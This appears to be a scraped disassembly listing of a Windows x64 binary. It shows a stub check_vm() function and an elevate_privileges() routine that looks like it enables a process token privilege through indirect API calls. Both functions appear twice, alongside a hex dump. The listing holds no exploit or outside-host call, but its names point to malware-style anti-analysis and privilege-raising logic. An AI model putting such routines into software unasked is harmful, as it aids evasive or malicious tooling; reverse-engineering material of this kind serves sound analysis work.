1400095b5ret
140009226
1400095b6
1400095b6check_vm():
1400095b6push rbp
1400095b7sub rsp, 848
1400095belea rbp, [rsp+128]
1400095c6mov eax, 0
1400095cbadd rsp, 848
1400095d2pop rbp
1400095d3ret
1400095b6
1400095b6check_vm():
1400095b6push rbp
1400095b7sub rsp, 848
1400095belea rbp, [rsp+128]
1400095c6mov eax, 0
1400095cbadd rsp, 848
1400095d2pop rbp
1400095d3ret
1400095b6
1400095d4
1400095d4elevate_privileges():
1400095d4push rbp
1400095d5push rbx
1400095d6sub rsp, 440
1400095ddlea rbp, [rsp+128]
1400095e5lea rax, [rbp+15]
1400095e9mov [rbp+296], rax
1400095f0nop
1400095f1nop
1400095f2lea rcx, [rbp+15]
1400095f6lea rdx, [rip+0xfdbec]
1400095fdlea rax, [rbp-32]
140009601mov r8, rcx
140009604mov rcx, rax
140009607call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000960clea rax, [rbp+63]
140009610mov [rbp+288], rax
140009617nop
140009618nop
140009619lea rcx, [rbp+63]
14000961dlea rdx, [rip+0xfecb4]
140009624lea rax, [rbp+16]
140009628mov r8, rcx
14000962bmov rcx, rax
14000962ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009633lea rdx, [rbp-32]
140009637lea rax, [rbp+16]
14000963bmov rcx, rax
14000963ecall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140009643lea rax, [rbp+16]
140009647mov rcx, rax
14000964acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000964flea rax, [rbp+63]
140009653mov rcx, rax
140009656call std::__new_allocator<char>::~__new_allocator()
14000965bnop
14000965clea rax, [rbp-32]
140009660mov rcx, rax
140009663call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009668lea rax, [rbp+15]
14000966cmov rcx, rax
14000966fcall std::__new_allocator<char>::~__new_allocator()
140009674nop
140009675mov rax, [rip+0x1c0594]
14000967ccall rax
14000967elea rdx, [rbp-40]
140009682mov r8, rdx
140009685mov edx, 40
14000968amov rcx, rax
14000968dmov rax, [rip+0x1c02ec]
140009694call rax
140009696test eax, eax
140009698setne al
14000969btest al, al
14000969dje 0x140009979
1400096a3lea rdx, [rbp-72]
1400096a7lea rax, [rip+0xfec4b]
1400096aemov r8, rdx
1400096b1mov rdx, rax
1400096b4mov ecx, 0
1400096b9mov rax, [rip+0x1c02b8]
1400096c0call rax
1400096c2test eax, eax
1400096c4setne al
1400096c7test al, al
1400096c9je 0x140009877
1400096cfmov [rbp-64], 1
1400096d6mov rax, [rbp-72]
1400096damov [rbp-60], rax
1400096demov [rbp-52], 2
1400096e5mov rax, [rbp-40]
1400096e9lea rdx, [rbp-64]
1400096edmov [rsp+40], 0
1400096f6mov [rsp+32], 0
1400096ffmov r9l, 16
140009705mov r8, rdx
140009708mov edx, 0
14000970dmov rcx, rax
140009710mov rax, [rip+0x1c0259]
140009717call rax
140009719test eax, eax
14000971bsetne al
14000971etest al, al
140009720je 0x1400097c3
140009726lea rax, [rbp+111]
14000972amov [rbp+280], rax
140009731nop
140009732nop
140009733lea rcx, [rbp+111]
140009737lea rdx, [rip+0xfdd6d]
14000973elea rax, [rbp+64]
140009742mov r8, rcx
140009745mov rcx, rax
140009748call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000974dlea rax, [rbp+159]
140009754mov [rbp+272], rax
14000975bnop
14000975cnop
14000975dlea rcx, [rbp+159]
140009764lea rdx, [rip+0xfeb9f]
14000976blea rax, [rbp+112]
14000976fmov r8, rcx
140009772mov rcx, rax
140009775call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000977alea rdx, [rbp+64]
14000977elea rax, [rbp+112]
140009782mov rcx, rax
140009785call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000978alea rax, [rbp+112]
14000978emov rcx, rax
140009791call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009796lea rax, [rbp+159]
14000979dmov rcx, rax
1400097a0call std::__new_allocator<char>::~__new_allocator()
1400097a5nop
1400097a6lea rax, [rbp+64]
1400097aamov rcx, rax
1400097adcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400097b2lea rax, [rbp+111]
1400097b6mov rcx, rax
1400097b9call std::__new_allocator<char>::~__new_allocator()
1400097bejmp 0x140009877
1400097c3
1400097c3loc_1400097c3:
1400097c3lea rax, [rbp+207]
1400097camov [rbp+264], rax
1400097d1nop
1400097d2nop
1400097d3lea rcx, [rbp+207]
1400097dalea rdx, [rip+0xfe0ed]
1400097e1lea rax, [rbp+160]
1400097e8mov r8, rcx
1400097ebmov rcx, rax
1400097eecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400097f3lea rax, [rbp+255]
1400097famov [rbp+256], rax
140009801nop
140009802nop
140009803lea rcx, [rbp+255]
14000980alea rdx, [rip+0xfeb17]
140009811lea rax, [rbp+208]
140009818mov r8, rcx
14000981bmov rcx, rax
14000981ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009823lea rdx, [rbp+160]
14000982alea rax, [rbp+208]
140009831mov rcx, rax
140009834call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140009839lea rax, [rbp+208]
140009840mov rcx, rax
140009843call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009848lea rax, [rbp+255]
14000984fmov rcx, rax
140009852call std::__new_allocator<char>::~__new_allocator()
140009857nop
140009858lea rax, [rbp+160]
14000985fmov rcx, rax
140009862call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009867lea rax, [rbp+207]
14000986emov rcx, rax
140009871call std::__new_allocator<char>::~__new_allocator()
140009876nop
140009877
140009877loc_140009877:
140009877mov rax, [rbp-40]
14000987bmov rcx, rax
14000987emov rax, [rip+0x1c031b]
140009885call rax
140009887jmp 0x14000997a
14000988c
14000988c 48 89 c3 48 H..H
140009890 8d 45 10 48 89 c1 e8 35 7c 0d 00 eb 03 48 89 c3 .E.H...5|....H..
1400098a0 48 8d 45 3f 48 89 c1 e8 24 45 0c 00 90 48 8d 45 H.E?H...$E...H.E
1400098b0 e0 48 89 c1 e8 17 7c 0d 00 eb 03 48 89 c3 48 8d .H....|....H..H.
1400098c0 45 0f 48 89 c1 e8 06 45 0c 00 90 48 89 d8 48 89 E.H....E...H..H.
1400098d0 c1 e8 ca 1a 01 00 48 89 c3 48 8d 45 70 48 89 c1 ......H..H.EpH..
1400098e0 e8 eb 7b 0d 00 eb 03 48 89 c3 48 8d 85 9f 00 00 ..{....H..H.....
1400098f0 00 48 89 c1 e8 d7 44 0c 00 90 48 8d 45 40 48 89 .H....D...H.E@H.
140009900 c1 e8 ca 7b 0d 00 eb 03 48 89 c3 48 8d 45 6f 48 ...{....H..H.EoH
140009910 89 c1 e8 b9 44 0c 00 90 48 89 d8 48 89 c1 e8 7d ....D...H..H...}
140009920 1a 01 00 48 89 c3 48 8d 85 d0 00 00 00 48 89 c1 ...H..H......H..
140009930 e8 9b 7b 0d 00 eb 03 48 89 c3 48 8d 85 ff 00 00 ..{....H..H.....
140009940 00 48 89 c1 e8 87 44 0c 00 90 48 8d 85 a0 00 00 .H....D...H.....
140009950 00 48 89 c1 e8 77 7b 0d 00 eb 03 48 89 c3 48 8d .H...w{....H..H.
140009960 85 cf 00 00 00 48 89 c1 e8 63 44 0c 00 90 48 89 .....H...cD...H.
140009970 d8 48 89 c1 e8 27 1a 01 00 .H...'...
140009979
140009979loc_140009979:
140009979nop
14000997a
14000997aloc_14000997a:
14000997aadd rsp, 440
140009981pop rbx
140009982pop rbp
140009983ret
1400095d4
1400095d4elevate_privileges():
1400095d4push rbp
1400095d5push rbx
1400095d6sub rsp, 440
1400095ddlea rbp, [rsp+128]
1400095e5lea rax, [rbp+15]
1400095e9mov [rbp+296], rax
1400095f0nop
1400095f1nop
1400095f2lea rcx, [rbp+15]
1400095f6lea rdx, [rip+0xfdbec]
1400095fdlea rax, [rbp-32]
140009601mov r8, rcx
140009604mov rcx, rax
140009607call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000960clea rax, [rbp+63]
140009610mov [rbp+288], rax
140009617nop
140009618nop
140009619lea rcx, [rbp+63]
14000961dlea rdx, [rip+0xfecb4]
140009624lea rax, [rbp+16]
140009628mov r8, rcx
14000962bmov rcx, rax
14000962ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009633lea rdx, [rbp-32]
140009637lea rax, [rbp+16]
14000963bmov rcx, rax
14000963ecall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140009643lea rax, [rbp+16]
140009647mov rcx, rax
14000964acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000964flea rax, [rbp+63]
140009653mov rcx, rax
140009656call std::__new_allocator<char>::~__new_allocator()
14000965bnop
14000965clea rax, [rbp-32]
140009660mov rcx, rax
140009663call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009668lea rax, [rbp+15]
14000966cmov rcx, rax
14000966fcall std::__new_allocator<char>::~__new_allocator()
140009674nop
140009675mov rax, [rip+0x1c0594]
14000967ccall rax
14000967elea rdx, [rbp-40]
140009682mov r8, rdx
140009685mov edx, 40
14000968amov rcx, rax
14000968dmov rax, [rip+0x1c02ec]
140009694call rax
140009696test eax, eax
140009698setne al
14000969btest al, al
14000969dje 0x140009979
1400096a3lea rdx, [rbp-72]
1400096a7lea rax, [rip+0xfec4b]
1400096aemov r8, rdx
1400096b1mov rdx, rax
1400096b4mov ecx, 0
1400096b9mov rax, [rip+0x1c02b8]
1400096c0call rax
1400096c2test eax, eax
1400096c4setne al
1400096c7test al, al
1400096c9je 0x140009877
1400096cfmov [rbp-64], 1
1400096d6mov rax, [rbp-72]
1400096damov [rbp-60], rax
1400096demov [rbp-52], 2
1400096e5mov rax, [rbp-40]
1400096e9lea rdx, [rbp-64]
1400096edmov [rsp+40], 0
1400096f6mov [rsp+32], 0
1400096ffmov r9l, 16
140009705mov r8, rdx
140009708mov edx, 0
14000970dmov rcx, rax
140009710mov rax, [rip+0x1c0259]
140009717call rax
140009719test eax, eax
14000971bsetne al
14000971etest al, al
140009720je 0x1400097c3
140009726lea rax, [rbp+111]
14000972amov [rbp+280], rax
140009731nop
140009732nop
140009733lea rcx, [rbp+111]
140009737lea rdx, [rip+0xfdd6d]
14000973elea rax, [rbp+64]
140009742mov r8, rcx
140009745mov rcx, rax
140009748call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000974dlea rax, [rbp+159]
140009754mov [rbp+272], rax
14000975bnop
14000975cnop
14000975dlea rcx, [rbp+159]
140009764lea rdx, [rip+0xfeb9f]
14000976blea rax, [rbp+112]
14000976fmov r8, rcx
140009772mov rcx, rax
140009775call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000977alea rdx, [rbp+64]
14000977elea rax, [rbp+112]
140009782mov rcx, rax
140009785call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000978alea rax, [rbp+112]
14000978emov rcx, rax
140009791call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009796lea rax, [rbp+159]
14000979dmov rcx, rax
1400097a0call std::__new_allocator<char>::~__new_allocator()
1400097a5nop
1400097a6lea rax, [rbp+64]
1400097aamov rcx, rax
1400097adcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400097b2lea rax, [rbp+111]
1400097b6mov rcx, rax
1400097b9call std::__new_allocator<char>::~__new_allocator()
1400097bejmp 0x140009877
1400097c3
1400097c3loc_1400097c3:
1400097c3lea rax, [rbp+207]
1400097camov [rbp+264], rax
1400097d1nop
1400097d2nop
1400097d3lea rcx, [rbp+207]
1400097dalea rdx, [rip+0xfe0ed]
1400097e1lea rax, [rbp+160]
1400097e8mov r8, rcx
1400097ebmov rcx, rax
1400097eecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400097f3lea rax, [rbp+255]
1400097famov [rbp+256], rax
140009801nop
140009802nop
140009803lea rcx, [rbp+255]
14000980alea rdx, [rip+0xfeb17]
140009811lea rax, [rbp+208]
140009818mov r8, rcx
14000981bmov rcx, rax
14000981ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140009823lea rdx, [rbp+160]
14000982alea rax, [rbp+208]
140009831mov rcx, rax
140009834call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140009839lea rax, [rbp+208]
140009840mov rcx, rax
140009843call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009848lea rax, [rbp+255]
14000984fmov rcx, rax
140009852call std::__new_allocator<char>::~__new_allocator()
140009857nop
140009858lea rax, [rbp+160]
14000985fmov rcx, rax
140009862call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140009867lea rax, [rbp+207]
14000986emov rcx, rax
140009871call std::__new_allocator<char>::~__new_allocator()
140009876nop
140009877
140009877loc_140009877:
140009877mov rax, [rbp-40]
14000987bmov rcx, rax
14000987emov rax, [rip+0x1c031b]
140009885call rax
140009887jmp 0x14000997a
14000988c
14000988c 48 89 c3 48 H..H
140009890 8d 45 10 48 89 c1 e8 35 7c 0d 00 eb 03 48 89 c3 .E.H...5|....H..
1400098a0 48 8d 45 3f 48 89 c1 e8 24 45 0c 00 90 48 8d 45 H.E?H...$E...H.E
1400098b0 e0 48 89 c1 e8 17 7c 0d 00 eb 03 48 89 c3 48 8d .H....|....H..H.
1400098c0 45 0f 48 89 c1 e8 06 45 0c 00 90 48 89 d8 48 89 E.H....E...H..H.
1400098d0 c1 e8 ca 1a 01 00 48 89 c3 48 8d 45 70 48 89 c1 ......H..H.EpH..
1400098e0 e8 eb 7b 0d 00 eb 03 48 89 c3 48 8d 85 9f 00 00 ..{....H..H.....
1400098f0 00 48 89 c1 e8 d7 44 0c 00 90 48 8d 45 40 48 89 .H....D...H.E@H.
140009900 c1 e8 ca 7b 0d 00 eb 03 48 89 c3 48 8d 45 6f 48 ...{....H..H.EoH
140009910 89 c1 e8 b9 44 0c 00 90 48 89 d8 48 89 c1 e8 7d ....D...H..H...}
140009920 1a 01 00 48 89 c3 48 8d 85 d0 00 00 00 48 89 c1 ...H..H......H..
140009930 e8 9b 7b 0d 00 eb 03 48 89 c3 48 8d 85 ff 00 00 ..{....H..H.....
140009940 00 48 89 c1 e8 87 44 0c 00 90 48 8d 85 a0 00 00 .H....D...H.....
140009950 00 48 89 c1 e8 77 7b 0d 00 eb 03 48 89 c3 48 8d .H...w{....H..H.
140009960 85 cf 00 00 00 48 89 c1 e8 63 44 0c 00 90 48 89 .....H...cD...H.
140009970 d8 48 89 c1 e8 27 1a 01 00 .H...'...
140009979
140009979loc_140009979:
140009979nop
14000997a
14000997aloc_14000997a:
14000997aadd rsp, 440
140009981pop rbx
140009982pop rbp
140009983ret
1400095d4
Loading..